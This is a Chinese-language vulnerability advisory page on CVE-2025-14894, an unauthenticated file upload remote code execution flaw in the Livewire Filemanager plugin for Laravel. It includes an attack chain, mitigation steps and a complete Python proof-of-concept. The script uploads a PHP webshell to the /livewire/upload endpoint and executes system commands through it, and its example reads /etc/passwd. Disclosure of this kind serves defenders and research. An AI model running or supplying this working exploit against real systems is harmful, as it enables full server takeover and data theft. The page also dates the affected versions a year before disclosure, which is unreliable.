IPBUF安全漏洞报告
English
CVE-2025-14894 CVSS 9.8 严重

CVE-2025-14894 Livewire Filemanager未授权文件上传RCE漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-14894
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Livewire Filemanager (Laravel应用插件)

相关标签

CVE-2025-14894远程代码执行文件上传漏洞Livewire FilemanagerLaravel无认证RCEPHP webshell安全漏洞

漏洞概述

CVE-2025-14894是Livewire Filemanager组件中的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。该漏洞存在于LivewireFilemanagerComponent.php文件中,由于缺少文件类型验证和MIME类型检查,导致攻击者可以在无需任何认证的情况下上传恶意PHP文件。一旦攻击者成功上传恶意文件,并通过Laravel应用的常见配置(将/storage目录设置为可访问)访问该文件,即可实现远程代码执行,从而完全控制受影响的服务器。此漏洞影响所有使用Livewire Filemanager的Laravel应用程序,攻击者可利用此漏洞进行数据窃取、服务中断、横向移动等恶意操作。由于该组件在Laravel生态中广泛应用,漏洞影响范围可能涉及大量Web应用程序。

技术细节

Livewire Filemanager是Laravel框架中常用的文件管理器组件,集成在许多Web应用中用于管理用户上传的文件。漏洞的根本原因在于LivewireFilemanagerComponent.php文件的上传处理逻辑存在严重缺陷:1) 未对上传文件的扩展名进行白名单验证;2) 未对MIME类型进行服务端校验;3) 直接将用户上传的文件保存到可访问的存储目录。攻击者可以利用标准的HTTP POST请求直接上传包含恶意PHP代码的文件(如webshell.php),无需任何认证凭证。成功上传后,如果目标Laravel应用配置了/storage路径的Web访问(这是Laravel中常见的设置方式,允许用户访问上传的公共文件),攻击者即可通过访问如/storage/filemanager/uploads/webshell.php这样的URL来执行任意PHP代码,从而在服务器上执行系统命令、建立持久化连接或进行其他恶意操作。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站是否使用Livewire Filemanager组件,通过检查页面源码或访问已知路径确认
STEP 2
步骤2: 构造恶意文件
攻击者创建包含恶意PHP代码的文件(如webshell),用于在服务器上执行系统命令
STEP 3
步骤3: 文件上传
攻击者通过发送HTTP POST请求到/livewire/upload端点,上传恶意PHP文件,由于无验证机制,上传成功
STEP 4
步骤4: 访问上传文件
攻击者通过访问/storage/filemanager/uploads/目录下的上传文件,触发PHP代码执行
STEP 5
步骤5: 命令执行
通过在URL中添加cmd参数传递系统命令,webshell接收并执行命令,返回结果给攻击者
STEP 6
步骤6: 持久化控制
攻击者可进一步植入后门、建立持久化连接、窃取数据或横向移动到内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14894 PoC - Livewire Filemanager Unauthenticated RCE # Target: Laravel application with Livewire Filemanager installed def exploit(target_url, command="id"): """ Exploit for CVE-2025-14894: Livewire Filemanager File Upload RCE Args: target_url: Base URL of the vulnerable application command: System command to execute (default: 'id') Returns: Command output from the target system """ upload_url = f"{target_url}/livewire/upload" # Malicious PHP webshell payload php_payload = f"<?php system($_GET['cmd']); ?>" files = { 'file': ('exploit.php', php_payload, 'application/x-php') } data = { 'uuids': 'test', 'chunk': 'false', 'chunkSize': 0 } headers = { 'X-Livewire': 'true', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Uploading malicious PHP file to {upload_url}") response = requests.post(upload_url, files=files, data=data, headers=headers, timeout=30) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[*] Response: {response.text}") # Attempt to execute command via uploaded file shell_url = f"{target_url}/storage/filemanager/uploads/exploit.php?cmd={command}" print(f"[*] Executing command via: {shell_url}") exec_response = requests.get(shell_url, timeout=30) print(f"[+] Command output:\n{exec_response.text}") return exec_response.text else: print(f"[-] Upload failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14894.py <target_url> [command]") print("Example: python cve-2025-14894.py http://vulnerable-app.com 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "id" exploit(target, cmd)

影响范围

Livewire Filemanager 所有版本(截至2025-01-16)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 在Web服务器配置中禁止直接访问/storage/filemanager/uploads/目录下的.php文件;2) 在应用层添加上传文件类型验证中间件;3) 临时禁用Livewire Filemanager的文件上传功能;4) 使用WAF规则拦截异常的文件上传请求;5) 加强对应用日志的监控,及时发现异常的上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表